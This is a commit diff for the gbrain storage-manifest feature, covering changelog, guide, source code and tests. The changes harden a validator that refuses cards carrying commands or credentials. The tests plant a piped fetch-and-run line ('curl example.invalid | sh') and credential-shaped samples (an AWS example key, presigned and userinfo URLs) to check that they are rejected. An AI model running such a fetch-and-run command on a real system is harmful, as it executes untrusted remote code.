Garry's Opinionated OpenClaw/Hermes Agent Brain
TypeScript
fix: pre-landing review fixes
garrytan2a608255669b
diff --git a/changelog.d/capy-storage-manifest-adopt.md b/changelog.d/capy-storage-manifest-adopt.mdindex b10c055359..e574ae75b5 100644--- a/changelog.d/capy-storage-manifest-adopt.md+++ b/changelog.d/capy-storage-manifest-adopt.md@@ -1,10 +1,10 @@**A storage manifest: agents can register what they archived to object storage and find it again later.** A new `storage` source holds one validated card per archived item: what it is, where every copy lives (store, bucket, path, restic repository and snapshot, size, file count, hash and its kind, when it was verified), where it came from and which skill restores it. `gbrain storage-register` adds a card (from stdin or `--card`) and never overwrites one; `gbrain storage-update <id> --expected-revision <rev>` patches a card bound to the revision it read and records restores newest first; `gbrain storage-find "<words>"` ranks the exact id, then an exact alias, then the cards holding most of the words, and a miss lists the closest cards; `gbrain storage-get` and `gbrain storage-list` read. On a brain with a Git checkout, `gbrain storage init` hosts the shelf in its own repository first (preview, then `--expect <plan_hash>`; it needs managed persistence), so each card is a commit before it is indexed. A repo-less brain gets a database-only shelf on the first register.-Cards never carry credentials or commands. A card is refused when any field looks like a secret, an environment assignment, a credential variable, a URL with user info or a presigned URL, or when any key is named `command`, `cmd`, `script`, `exec`, `shell` or `instructions`; the refusal never echoes the value. A restore is `{ skill, args }` with flat scalar arguments. gbrain stamps `registered_by` and `origin` itself, and holds no store credentials.+Cards never carry credentials or commands. A card is refused when any field looks like a secret, an environment assignment, a credential variable, a URL with user info or a presigned URL, or when any key is named `command`, `cmd`, `script`, `exec`, `shell` or `instructions`; object keys are checked too, and the refusal never echoes the value. A first shelf creation that stopped part way is finished by the next register or `storage init`. A restore is `{ skill, args }` with flat scalar arguments. gbrain stamps `registered_by` and `origin` itself, and holds no store credentials.The shelf is written only through the storage verbs. `put_page`, `remember` and every other page writer are refused `storage_source_managed` there, a request parameter cannot open the door, register and update run only from the trusted local CLI, and a dream cycle or enrichment run scoped to the shelf skips it. The source is not federated, so a remote connection reads cards only when its grant names `storage`.-**Agents find the shelf, and older archive records move onto it.** The brain-first lookup table every harness reads gains one row, "Find something archived to B2, Supabase or S3" (`gbrain storage-find` / `storage_find`), and a new `storage-manifest` skill says when to register, to find before restoring, to restore through the agent's own restore skill with the card's `restore.skill` and `restore.args`, and to record the restore with `gbrain storage-update`. `gbrain storage adopt` moves interim records (`stored-object` pages under `storage-manifest/` holding their record as JSON under `## Record`) onto the shelf: the preview shows each mapped card and every field a card refuses with its reason; `--apply --expect <plan_hash>` registers each card with `origin: adopt` and tags the original `storage-manifest-adopted`, deleting nothing, and refuses until each refused field is named with `--drop-field` (a credential-shaped value always refuses); `--finalize` previews, then soft-deletes the adopted originals only when every card matches its original. `gbrain storage export --jsonl` and `gbrain storage import --jsonl <file>` (preview per line, then `--apply --expect`) rebuild a shelf from a file, registering missing cards with `origin: import` and never overwriting a differing card. Applies are idempotent and report `side_effects` and, when a run stops part way, the command that finishes it. The new doctor check `storage_manifest` warns about cards that fail the card schema, interim records not adopted yet and a hosted shelf whose directory is gone. On a brain with a Git checkout, adopt and import wait for `gbrain storage init`.+**Agents find the shelf, and older archive records move onto it.** The brain-first lookup table every harness reads gains one row, "Find something archived to B2, Supabase or S3" (`gbrain storage-find` / `storage_find`), and a new `storage-manifest` skill says when to register, to find before restoring, to restore through the agent's own restore skill with the card's `restore.skill` and `restore.args`, and to record the restore with `gbrain storage-update`. `gbrain storage adopt` moves interim records (`stored-object` pages under `storage-manifest/` holding their record as JSON under `## Record`) onto the shelf: the preview shows each mapped card and every field a card refuses with its reason; `--apply --expect <plan_hash>` registers each card with `origin: adopt` and tags the original `storage-manifest-adopted`, deleting nothing, and refuses until each refused field is named with `--drop-field` (a credential-shaped value always refuses); `--finalize` previews, then soft-deletes the adopted originals only when every card matches its original (a restore recorded since is not a difference); the preview names any other section an original holds, and an original edited after the preview refuses. `gbrain storage export --jsonl` and `gbrain storage import --jsonl <file>` (preview per line, then `--apply --expect`) rebuild a shelf from a file, registering missing cards with `origin: import` and never overwriting a differing card; export leaves out and names a stored card that fails the card rules. Applies are idempotent and report `side_effects` and, when a run stops part way, the command that finishes it. The new doctor check `storage_manifest` warns about cards that fail the card schema, interim records not adopted yet and a hosted shelf whose directory is gone. On a brain with a Git checkout, adopt and import wait for `gbrain storage init`.### Itemized changesdiff --git a/docs/guides/storage-manifest.md b/docs/guides/storage-manifest.mdindex ef5c0a259a..bef6b2286d 100644--- a/docs/guides/storage-manifest.md+++ b/docs/guides/storage-manifest.md@@ -32,7 +32,9 @@ carry commands or credentials, and gbrain never contacts a store. After the restOn a repo-less brain, including a fresh keyless install whose content directory (created by `gbrain init`) holds noGit checkout, the database is the record: the first `storage-register` (or `gbrain storage init`) creates the-`storage` source, database-only and not federated, and every verb works there.+`storage` source, database-only and not federated, and every verb works there. If that first creation stopped part+way (a crash, two first registers at once), the next register or `gbrain storage init` finishes it. A `storage` source+that already holds someone else's pages is never taken over: the verbs refuse `storage_manifest_missing`.On a brain with a Git checkout, Git stays the parent. `gbrain storage init --dir <absolute path> --dry-run` previews ahosted Git repository for the shelf, and the printed `--expect <plan_hash>` command creates it after the user agrees@@ -55,7 +57,10 @@ Agents that archived before the shelf existed often kept interim pages: `type: salways refuses, whatever is dropped: fix the source page first.3. `gbrain storage adopt --finalize` previews soft-deleting the tagged originals; its `--expect <plan_hash>` run deletesthem (restorable for 72 hours with `gbrain restore`), only when every adopted card is on the shelf and matches its- original's mapped card.+ original's mapped card. A restore recorded with `storage-update` since adoption is not a difference. The preview+ names any `##` section of an original other than `## Record` (notes the card does not carry, which go with the+ page), and the plan_hash binds each original's content, so an original edited after the preview refuses+ `preview_changed`.A rerun skips cards already on the shelf that match and originals already tagged. A card on the shelf that differs isa conflict: it is reported and never overwritten, and its original stays untagged. Every apply reports@@ -67,7 +72,8 @@ a conflict: it is reported and never overwritten, and its original stays untaggegbrain stamps (`registered_by`, `origin`). `gbrain storage import --jsonl <file>` previews each line as`create`, `identical`, `conflict` or `invalid` with a `plan_hash`; `--apply --expect <plan_hash>` registers themissing cards with `origin: import` (gbrain stamps both fields again), never overwrites a differing card, and skips-invalid lines without showing their values. Export from one brain and import into an empty one reproduces every card.+invalid lines without showing their values. Export leaves out a stored card that fails the card rules (a hand-edited card file, say) and names it. Export+from one brain and import into an empty one reproduces every valid card.## Doctordiff --git a/src/commands/storage.ts b/src/commands/storage.tsindex 0b9099c229..29880c24be 100644--- a/src/commands/storage.ts+++ b/src/commands/storage.ts@@ -575,11 +575,12 @@ async function runStorageJsonl(engine: BrainEngine, subcommand: 'export' | 'impoif (subcommand === 'export') {const out = flagValue(args, '--out');if (out && existsSync(out)) throw opError('invalid_params', `${out} already exists; export never overwrites a file.`, 'Pass --out with a path that does not exist yet, or omit --out to write to stdout.');- const { lines, skipped } = await jsonl.exportShelfJsonl(engine);+ const { lines, skipped, invalid } = await jsonl.exportShelfJsonl(engine);const text = lines.length ? `${lines.join('\n')}\n` : '';if (!out) { process.stdout.write(text); }else { writeFileSync(out, text, { flag: 'wx' }); console.error(`Wrote ${lines.length} card(s) to ${out}.`); }if (skipped.length) console.error(`Skipped ${skipped.length} page(s) on the shelf that hold no card: ${skipped.join(', ')}`);+ if (invalid.length) console.error(`Skipped ${invalid.length} card(s) that fail the card rules (gbrain doctor --only storage_manifest names why): ${invalid.join(', ')}`);return;}const file = flagValue(args, '--jsonl');diff --git a/src/core/storage-manifest/adopt.ts b/src/core/storage-manifest/adopt.tsindex d0b54b9398..b9e3e853d9 100644--- a/src/core/storage-manifest/adopt.ts+++ b/src/core/storage-manifest/adopt.ts@@ -2,15 +2,19 @@* `gbrain storage adopt` (GST-1943): moves interim storage records onto the shelf. An interim record is a page of type* `stored-object` under a slug prefix (default `storage-manifest/`) in an ordinary source, written before the shelf* existed, holding its record as JSON in a fenced json block under a `## Record` heading (other sections, such as- * `## Restore`, are ignored). Records use the draft schema: card fields, plus free-text `restore.command` and other- * fields the card refuses. Trusted local CLI only; three steps, each preview-first and bound to its plan_hash:+ * `## Restore`, are not read; the finalize preview names them). Records use the draft schema: card fields, plus+ * free-text `restore.command` and other fields the card refuses. Trusted local CLI only; three steps, each+ * preview-first and bound to its plan_hash:** preview (default) per page the mapped card and every refused field with its reason; writes nothing.* apply registers each card through registerCard (the storage_register path) with origin `adopt`, then tags the* original `storage-manifest-adopted` through its source's page door. Deletes nothing. Refused fields must* each be named with `--drop-field`; a credential-shaped value or an invalid record always refuses.* finalize soft-deletes the tagged originals through the page door (restorable for 72 h), only when every adopted- * card is on the shelf and matches its original's mapped card.+ * card is on the shelf and matches its original's mapped card (a restore the card recorded since does not+ * count as a difference). The preview names each original's other sections (a `## Restore`, notes), which+ * the card does not carry, and the plan_hash binds each original's content, so an original edited after+ * the preview refuses preview_changed.** Idempotent: a card already on the shelf that matches is skipped, and so is an original already tagged. A card on* the shelf that differs is a conflict: reported, never overwritten, its original left untagged. The plan_hash covers@@ -48,7 +52,7 @@ export interface AdoptApplyResult {results: Array<{ slug: string; card_id: string | null; outcome: 'registered' | 'retagged' | 'skipped' | 'conflict' }>;conflicts: string[]; failure?: StepFailure; rerun?: string[]; finalize?: string[];}-export interface FinalizeEntry { slug: string; card_id: string | null; state: 'delete' | 'deleted' | 'unverified' | 'not_adopted' }+export interface FinalizeEntry { slug: string; card_id: string | null; state: 'delete' | 'deleted' | 'unverified' | 'not_adopted'; other_sections?: string[]; content?: string }export interface FinalizePlan { action: 'finalize'; dry_run: true; source_id: string; prefix: string; entries: FinalizeEntry[]; plan_hash: string; summary: string[]; apply?: string[] }export interface FinalizeApplyResult {action: 'finalize'; dry_run: false; source_id: string; prefix: string; plan_hash: string; side_effects: SideEffects;@@ -73,6 +77,18 @@ function previewFix(opts: AdoptOptions, finalize = false) {return readFix('Prints the current plan and its plan_hash; changes nothing.', { argv: [...adoptArgv(opts), ...(finalize ? ['--finalize'] : []), '--json'] });}+/** The `##` headings of a page other than `## Record`: text the card does not carry, which finalize deletes with the page. */+export function otherSections(body: string): string[] {+ return [...body.matchAll(/^##[ \t]+(.+?)[ \t]*$/gm)].map((m) => m[1]!).filter((title) => title !== 'Record');+}++/** Whether the shelf card still matches the original it was adopted from, ignoring restores storage_update recorded since (and the `restored` status they set). */+function matchesAdopted(shelf: CardInput, original: CardInput): boolean {+ if (!shelf.restores?.length) return cardDigest(shelf) === cardDigest(original);+ const strip = ({ restores: _restores, status, ...rest }: CardInput) => cardDigest((shelf.status === 'restored' ? rest : { ...rest, status }) as CardInput);+ return strip(shelf) === strip(original);+}+/** The JSON text of a page's `## Record` section, or null when the page has none in its first 64 KiB. */export function recordJson(body: string): string | null {const heading = SECTION.exec(body);@@ -258,15 +274,20 @@ export async function previewFinalize(ctx: OperationContext, opts: AdoptOptions)const entries: FinalizeEntry[] = (await listInterim(ctx, opts, true)).flatMap((row): FinalizeEntry[] => {if (!row.tagged) return row.deleted ? [] : [{ slug: row.slug, card_id: null, state: 'not_adopted' }];const { card } = mapInterimPage(row, opts.prefix);- if (row.deleted) return [{ slug: row.slug, card_id: card?.id ?? null, state: 'deleted' }];+ const content = sha256(JSON.stringify([row.title, row.frontmatter, row.body]));+ if (row.deleted) return [{ slug: row.slug, card_id: card?.id ?? null, state: 'deleted', content }];const onShelf = card ? shelf.get(card.id) : undefined;const existing = onShelf ? cardContent(onShelf) : null;- return [{ slug: row.slug, card_id: card?.id ?? null, state: card && existing && cardDigest(existing) === cardDigest(card) ? 'delete' : 'unverified' }];+ const state = card && existing && matchesAdopted(existing, card) ? 'delete' : 'unverified';+ const other = otherSections(row.body ?? '');+ return [{ slug: row.slug, card_id: card?.id ?? null, state, ...(other.length ? { other_sections: other } : {}), content }];});const count = (state: FinalizeEntry['state']) => entries.filter((e) => e.state === state).length;const plan_hash = sha256(JSON.stringify({ v: 1, kind: 'finalize', source_id: opts.sourceId, prefix: opts.prefix,- entries: entries.filter((e) => e.state !== 'not_adopted').map((e) => ({ slug: e.slug, card_id: e.card_id, unverified: e.state === 'unverified' })) }));+ entries: entries.filter((e) => e.state !== 'not_adopted').map((e) => ({ slug: e.slug, card_id: e.card_id, unverified: e.state === 'unverified', content: e.content })) }));const summary = [`${count('delete')} adopted original(s) to soft-delete (restorable for 72 hours), ${count('deleted')} already deleted, ${count('unverified')} whose card is missing or differs, ${count('not_adopted')} not adopted yet (kept).`];+ const dropping = entries.filter((e) => e.state === 'delete' && e.other_sections);+ if (dropping.length) summary.push(`${dropping.length} original(s) to delete hold sections the card does not carry (${[...new Set(dropping.flatMap((e) => e.other_sections!))].join(', ')}): show the user, and move what matters into the card with gbrain storage-update before finalizing.`);if (count('unverified')) summary.push('Finalize refuses while an adopted original has no matching card; compare it with gbrain storage-get and fix the card or the record first.');const apply = count('unverified') || !count('delete') ? undefined : [...adoptArgv(opts), '--finalize', '--expect', plan_hash];return { action: 'finalize', dry_run: true, source_id: opts.sourceId, prefix: opts.prefix, entries, plan_hash, summary, ...(apply ? { apply } : {}) };diff --git a/src/core/storage-manifest/jsonl.ts b/src/core/storage-manifest/jsonl.tsindex b4b9934c97..0e06c023c5 100644--- a/src/core/storage-manifest/jsonl.ts+++ b/src/core/storage-manifest/jsonl.ts@@ -29,10 +29,15 @@ interface ParsedLine { line: number; id: string | null; card: CardInput | null;const sha256 = (text: string) => createHash('sha256').update(text).digest('hex');-/** One line per card on the shelf, sorted by id, keys sorted; pages on the shelf that hold no card are listed in `skipped`. */-export async function exportShelfJsonl(engine: BrainEngine): Promise<{ lines: string[]; skipped: string[] }> {+/**+ * One line per card on the shelf, sorted by id, keys sorted. Pages on the shelf that hold no card are listed in+ * `skipped`, and cards that fail the card rules (a page written outside the storage verbs) in `invalid`: neither is exported.+ */+export async function exportShelfJsonl(engine: BrainEngine): Promise<{ lines: string[]; skipped: string[]; invalid: string[] }> {const rows = await readShelfCards(engine);- return { lines: rows.flatMap((row) => row.card ? [canonicalJson(row.card)] : []), skipped: rows.filter((row) => !row.card).map((row) => row.id) };+ const valid = rows.filter((row) => row.card && cardContent(row.card));+ return { lines: valid.map((row) => canonicalJson(row.card)), skipped: rows.filter((row) => !row.card).map((row) => row.id),+ invalid: rows.filter((row) => row.card && !valid.includes(row)).map((row) => row.id) };}function invalidLine(line: number, id: string | null, reason: string, message: string, code = 'storage_record_invalid'): ParsedLine {diff --git a/src/core/storage-manifest/schema.ts b/src/core/storage-manifest/schema.tsindex c7eb3e2127..66a4940a7e 100644--- a/src/core/storage-manifest/schema.ts+++ b/src/core/storage-manifest/schema.ts@@ -98,7 +98,7 @@ function invalid(path: string, message: string, reason: string): OperationError'Fix that field and send the card again; gbrain storage-register --help shows the card fields.', { reason });}-/** Every string in `value` with its path, and every object key (command keys are refused wherever they appear). */+/** Every string in `value` and every object key, each with its path (command keys are refused wherever they appear). */function walk(value: unknown, path: string, visit: (path: string, text: string) => void): void {if (typeof value === 'string') { visit(path, value); return; }if (Array.isArray(value)) { value.forEach((item, i) => walk(item, `${path}[${i}]`, visit)); return; }@@ -106,6 +106,7 @@ function walk(value: unknown, path: string, visit: (path: string, text: string)for (const [key, item] of Object.entries(value)) {const at = path ? `${path}.${key}` : key;if (isCommandKey(key)) throw invalid(at, 'a card carries no commands; restore runs through restore.skill and restore.args', 'command_field');+ visit(`${path || '(card)'} (a key)`, key);walk(item, at, visit);}}diff --git a/src/core/storage-manifest/source.ts b/src/core/storage-manifest/source.tsindex 27a2ce595e..c138b18b9a 100644--- a/src/core/storage-manifest/source.ts+++ b/src/core/storage-manifest/source.ts@@ -23,7 +23,8 @@ export function isStorageRole(config: unknown): boolean {return parseSourceConfig(config).role === STORAGE_ROLE;}-export interface StorageSourceState { exists: boolean; repoBrain: boolean; role: boolean; hosted: boolean }+/** `ours`: an empty source a shelf creation started and did not finish marking (hosted by storage init, or database-only). */+export interface StorageSourceState { exists: boolean; repoBrain: boolean; role: boolean; hosted: boolean; ours: boolean }/*** A repo brain is one with any active source that has a directory (or the legacy sync.repo_path of default); mixed@@ -36,9 +37,20 @@ export async function isRepoBrain(engine: BrainEngine): Promise<boolean> {}export async function storageSourceState(engine: BrainEngine): Promise<StorageSourceState> {- const [row] = await engine.executeRaw<{ config: unknown; archived: boolean }>('SELECT config, archived FROM sources WHERE id=$1', [STORAGE_SOURCE_ID]);+ const [row] = await engine.executeRaw<{ config: unknown; archived: boolean; local_path: string | null; pages: boolean }>(+ 'SELECT s.config, s.archived, s.local_path, EXISTS (SELECT 1 FROM pages p WHERE p.source_id = s.id) AS pages FROM sources s WHERE s.id=$1', [STORAGE_SOURCE_ID]);const config = row ? parseSourceConfig(row.config) : {};- return { exists: !!row && !row.archived, repoBrain: await isRepoBrain(engine), role: config.role === STORAGE_ROLE, hosted: !!config.hosted_repo };+ const hosted = !!config.hosted_repo;+ return { exists: !!row && !row.archived, repoBrain: await isRepoBrain(engine), role: config.role === STORAGE_ROLE, hosted,+ ours: !!row && !row.pages && (hosted || !row.local_path) };+}++/** A `storage` source a shelf creation left without its role (a crash or a concurrent first write), which the next storage write or init finishes. */+const unfinished = (state: StorageSourceState) => state.exists && !state.role && state.ours && (state.hosted || !state.repoBrain);++function notOurs() {+ return opError('storage_manifest_missing', `Source ${STORAGE_SOURCE_ID} exists but is not a storage manifest; nothing was written.`,+ `The storage shelf needs the source ID ${STORAGE_SOURCE_ID}. Ask the user what that source holds before anything else; gbrain sources list shows it. Its pages stay where they are.`);}function initFix() {@@ -55,24 +67,31 @@ async function markRole(engine: BrainEngine): Promise<void> {/*** Whether a storage write can land: throws the refusal it would get, and says whether the first write creates the- * database-only shelf (a repo-less brain). A repo brain must run `gbrain storage init` first; a `storage` source that- * exists without the role is someone else's, refused. Writes nothing.+ * database-only shelf (a repo-less brain) or finishes one a crash or a concurrent first write left without its role.+ * A repo brain must run `gbrain storage init` first; any other `storage` source without the role is someone else's,+ * refused. Writes nothing.*/-export async function shelfWritable(engine: BrainEngine): Promise<{ creates: boolean }> {+export async function shelfWritable(engine: BrainEngine): Promise<{ creates: boolean; exists: boolean }> {const state = await storageSourceState(engine);- if (state.exists && state.role) return { creates: false };- if (state.exists) throw opError('storage_manifest_missing', `Source ${STORAGE_SOURCE_ID} exists but is not a storage manifest; nothing was written.`,- `The storage shelf needs the source ID ${STORAGE_SOURCE_ID}. Rename or remove the existing source (gbrain sources list shows it), then register again.`);+ if (state.exists && state.role) return { creates: false, exists: true };+ if (unfinished(state)) return { creates: true, exists: true };+ if (state.exists) throw notOurs();if (state.repoBrain) throw opError('storage_manifest_missing', 'This brain keeps its pages in Git, so the storage shelf is a hosted Git repository that gbrain storage init creates; nothing was written.','Preview it with gbrain storage init --dir <absolute path> --dry-run, and apply the command it prints after the user agrees. It needs managed persistence (gbrain sources writer activate).',{ fix: initFix() });- return { creates: true };+ return { creates: true, exists: false };}/** The shelf a storage write lands in: a repo-less brain gets its database-only source on first use (see shelfWritable). */export async function ensureStorageSource(engine: BrainEngine): Promise<void> {- if (!(await shelfWritable(engine)).creates) return;- await addSource(engine, { id: STORAGE_SOURCE_ID, name: 'Storage manifest', federated: false });+ const { creates, exists } = await shelfWritable(engine);+ if (!creates) return;+ if (!exists) {+ try { await addSource(engine, { id: STORAGE_SOURCE_ID, name: 'Storage manifest', federated: false }); } catch (error) {+ const now = await storageSourceState(engine);+ if (!now.role && !unfinished(now)) throw error;+ }+ }await markRole(engine);}@@ -84,8 +103,12 @@ export async function initStorageSource(engine: BrainEngine, opts: { dir?: strinif (state.exists && state.role && (!state.repoBrain || state.hosted)) {return { action: 'none', dry_run: opts.dryRun, repo_brain: state.repoBrain, summary: [`The storage shelf (source ${STORAGE_SOURCE_ID}) already exists${state.hosted ? ' as a hosted Git repository' : ''}.`] };}- if (state.exists && !state.role) throw opError('storage_manifest_missing', `Source ${STORAGE_SOURCE_ID} exists but is not a storage manifest.`,- `Rename or remove the existing source first (gbrain sources list shows it); nothing was changed.`);+ if (unfinished(state)) {+ const summary = [`Marks source ${STORAGE_SOURCE_ID}, which an earlier storage init or first register created, as the storage shelf (not federated).`];+ if (!opts.dryRun) await markRole(engine);+ return { action: 'none', dry_run: opts.dryRun, repo_brain: state.repoBrain, summary, ...(opts.dryRun ? { apply: ['gbrain', 'storage', 'init'] } : {}) };+ }+ if (state.exists && !state.role) throw notOurs();if (!state.repoBrain) {const summary = [`Creates source ${STORAGE_SOURCE_ID}, database-only and not federated, as the storage shelf. This brain has no Git checkout, so the database is the record.`];if (opts.dryRun) return { action: 'create_database_source', dry_run: true, repo_brain: false, summary, apply: ['gbrain', 'storage', 'init'] };diff --git a/test/storage-manifest-adopt.test.ts b/test/storage-manifest-adopt.test.tsindex 50cbc3c6b7..2136bbb515 100644--- a/test/storage-manifest-adopt.test.ts+++ b/test/storage-manifest-adopt.test.ts@@ -204,6 +204,27 @@ describe('storage adopt on a repo-less brain', () => {expect(await live()).toContain('storage-manifest/dataset-a');}, 60_000);+ test('finalize: a restore recorded on the card is no difference, other sections are named, and an original edited after the preview refuses', async () => {+ await interim('storage-manifest/dataset-a', record('dataset-a'));+ await interim('storage-manifest/dataset-b', record('dataset-b'));+ const plan = await previewAdopt(ctx(), opts);+ await applyAdopt(ctx(), { ...opts, expect: plan.plan_hash, dropFields: [] });+ await call('storage_update', { id: 'dataset-a', expected_revision: (await call('storage_get', { id: 'dataset-a' })).revision,+ restored_to: '/srv/scratch/dataset-a', restored_verified: true });+ expect((await call('storage_get', { id: 'dataset-a' })).card.status).toBe('restored');++ const preview = await previewFinalize(ctx(), opts);+ expect(preview.entries.map((e) => [e.slug, e.state, e.other_sections])).toEqual([['storage-manifest/dataset-a', 'delete', ['Restore']], ['storage-manifest/dataset-b', 'delete', ['Restore']]]);+ expect(preview.summary.join(' ')).toContain('hold sections the card does not carry (Restore)');+ expect(preview.apply).toEqual(['gbrain', 'storage', 'adopt', '--finalize', '--expect', preview.plan_hash]);++ const original = await engine.readPageSnapshot('storage-manifest/dataset-b', { sourceId: 'default' });+ await call('put_page', { slug: 'storage-manifest/dataset-b', expected_revision: original!.revision, request_id: randomUUID(),+ content: (await call('get_page', { slug: 'storage-manifest/dataset-b', include_content: true })).content.replace('Ask the archive agent.', 'Ask the archive agent first.') });+ expect((await refusal(applyFinalize(ctx(), { ...opts, expect: preview.plan_hash })))?.code).toBe('preview_changed');+ expect(await live()).toEqual(['storage-manifest/dataset-a', 'storage-manifest/dataset-b']);+ }, 60_000);+test('a brain with a Git checkout refuses storage_manifest_missing until storage init; the storage source is not an interim source', async () => {await interim('storage-manifest/dataset-a', record('dataset-a'));expect((await refusal(previewAdopt(ctx(), { ...opts, sourceId: 'storage' })))?.code).toBe('invalid_params');diff --git a/test/storage-manifest-jsonl.test.ts b/test/storage-manifest-jsonl.test.tsindex 9f2fc436c8..02a51c9694 100644--- a/test/storage-manifest-jsonl.test.ts+++ b/test/storage-manifest-jsonl.test.ts@@ -96,4 +96,13 @@ describe('storage shelf JSONL export and import', () => {expect((await call(target, 'storage_get', { id: 'dataset-a' })).card.reason ?? null).toBeNull();expect((await call(target, 'storage_get', { id: 'dataset-d' })).origin).toBe('import');}, 60_000);++ test('export leaves out a card that fails the card rules and names it', async () => {+ await call(source, 'storage_register', { card: card('dataset-e') });+ await source.executeRaw(`UPDATE pages SET frontmatter = jsonb_set(frontmatter, '{storage,restore,command}', '"restore-data --id dataset-e"') WHERE source_id = 'storage' AND slug = 'dataset-e'`);+ const exported = await exportShelfJsonl(source);+ expect(exported.lines.map((l) => JSON.parse(l).id)).toEqual(['acme-example-runs', 'dataset-a', 'dataset-b']);+ expect(exported.invalid).toEqual(['dataset-e']);+ expect(exported.skipped).toEqual([]);+ }, 60_000);});diff --git a/test/storage-manifest.test.ts b/test/storage-manifest.test.tsindex c9dae79510..1aa5425c96 100644--- a/test/storage-manifest.test.ts+++ b/test/storage-manifest.test.ts@@ -4,10 +4,13 @@* round-trips through storage_get with registered_by and origin stamped by gbrain;* - storage_find ranks exact id, then exact alias, then most of the phrase's words; a miss says not_found and lists* the closest cards; storage_list filters by store and status;- * - validation refuses a missing field, a command field, a stamped field, a scanner secret and every credential shape- * (env assignment, credential variable, URL userinfo, presigned URL), without echoing the value;- * - the write guard: put_page and remember into the shelf are refused storage_source_managed, a forged parameter- * does not open it, and the storage verbs still write;+ * - validation refuses a missing field, a command field, a stamped field, a scanner secret (in a value or an object+ * key) and every credential shape (env assignment, credential variable, URL userinfo, presigned URL), without+ * echoing the value;+ * - the write guard: put_page, remember and forget_fact into the shelf are refused storage_source_managed, a forged+ * parameter does not open it, and the storage verbs still write;+ * - a shelf creation that stopped before marking its role (a crash, a concurrent first register) is finished by the+ * next register or storage init, while a `storage` source holding someone's pages stays refused;* - storage_get refuses a stored card that fails the card rules (a hand-edited card file with a command field)* with storage_record_invalid, locally and remotely, without echoing the value, and its revision repairs it;* - register never overwrites (storage_card_exists); update binds to the revision it read (storage_revision_conflict@@ -126,6 +129,7 @@ describe('storage shelf on a repo-less brain', () => {[card('a-7', { restore: { skill: 'restore-data', args: { id: 'a-7', key: '$B2_APPLICATION_KEY' } } }), 'storage_record_secret', 'credential_variable'],[card('a-8', { locations: [{ store: 's3', path: 'https://user:@example.invalid/x', tool: 'object', size_bytes: 1 }] }), 'storage_record_secret', 'url_userinfo'],[card('a-9', { locations: [{ store: 's3', path: 'https://example.invalid/x?X-Amz-Signature=abc', tool: 'object', size_bytes: 1 }] }), 'storage_record_secret', 'presigned_url'],+ [card('a-10', { details: { AKIAIOSFODNN7EXAMPLE: 'b2 key' } }), 'storage_record_secret', 'secret_scanner'],];for (const [input, code, reason] of cases) {const r = await refusal(call('storage_register', { card: input }));@@ -146,10 +150,36 @@ describe('storage shelf on a repo-less brain', () => {const remember = await refusal(call('remember', { fact: 'The item moved.', entity: 'guarded-item', source_id: 'storage', provenance: 'test', request_id: randomUUID() }));expect(remember?.message).toContain('is the storage manifest; only the storage verbs write it');expect(await engine.executeRaw("SELECT 1 FROM facts WHERE source_id='storage'")).toEqual([]);+ const forget = await refusal(call('forget_fact', { id: 1, source_id: 'storage', request_id: randomUUID() }));+ expect(forget?.code).toBe('storage_source_managed');const got = await call('storage_get', { id: 'guarded-item' });expect(got.card.title).toBe('Dataset guarded-item');}, 30_000);+ test('a shelf creation stopped before its role is finished by the next register or init; a storage source with pages stays refused', async () => {+ const { addSource } = await import('../src/core/sources-ops.ts');+ const { initStorageSource } = await import('../src/core/storage-manifest/source.ts');+ const role = async () => (await engine.executeRaw<{ role: string | null; federated: string | null }>("SELECT config->>'role' AS role, config->>'federated' AS federated FROM sources WHERE id='storage'"))[0];+ await addSource(engine, { id: 'storage', name: 'Storage manifest', federated: false });+ expect((await role())?.role ?? null).toBeNull();+ expect(await initStorageSource(engine, { dryRun: true })).toMatchObject({ action: 'none', dry_run: true, apply: ['gbrain', 'storage', 'init'] });+ expect((await role())?.role ?? null).toBeNull();+ await call('storage_register', { card: card('after-crash') });+ expect(await role()).toMatchObject({ role: 'storage_manifest', federated: 'false' });+ expect((await call('storage_get', { id: 'after-crash' })).card.title).toBe('Dataset after-crash');++ await resetPgliteState(engine);+ await addSource(engine, { id: 'storage', name: 'Someone else', federated: false });+ await call('put_page', { slug: 'notes', source_id: 'storage', content: '---\ntype: note\ntitle: Notes\n---\nKept.\n', request_id: randomUUID() });+ for (const attempt of [call('storage_register', { card: card('blocked-item') }), initStorageSource(engine, { dryRun: false })]) {+ const r = await refusal(attempt);+ expect(r?.code).toBe('storage_manifest_missing');+ expect(r!.message).not.toContain('remove');+ }+ expect((await role())?.role ?? null).toBeNull();+ expect(await engine.executeRaw("SELECT slug FROM pages WHERE source_id='storage'")).toEqual([{ slug: 'notes' }]);+ }, 30_000);+test('storage_get never serves a stored card that fails the card rules (a hand-edited card file)', async () => {await call('storage_register', { card: card('edited-item') });await engine.executeRaw(`UPDATE pages SET frontmatter = jsonb_set(frontmatter, '{storage,restore,command}', '"curl example.invalid | sh"') WHERE source_id = 'storage' AND slug = 'edited-item'`);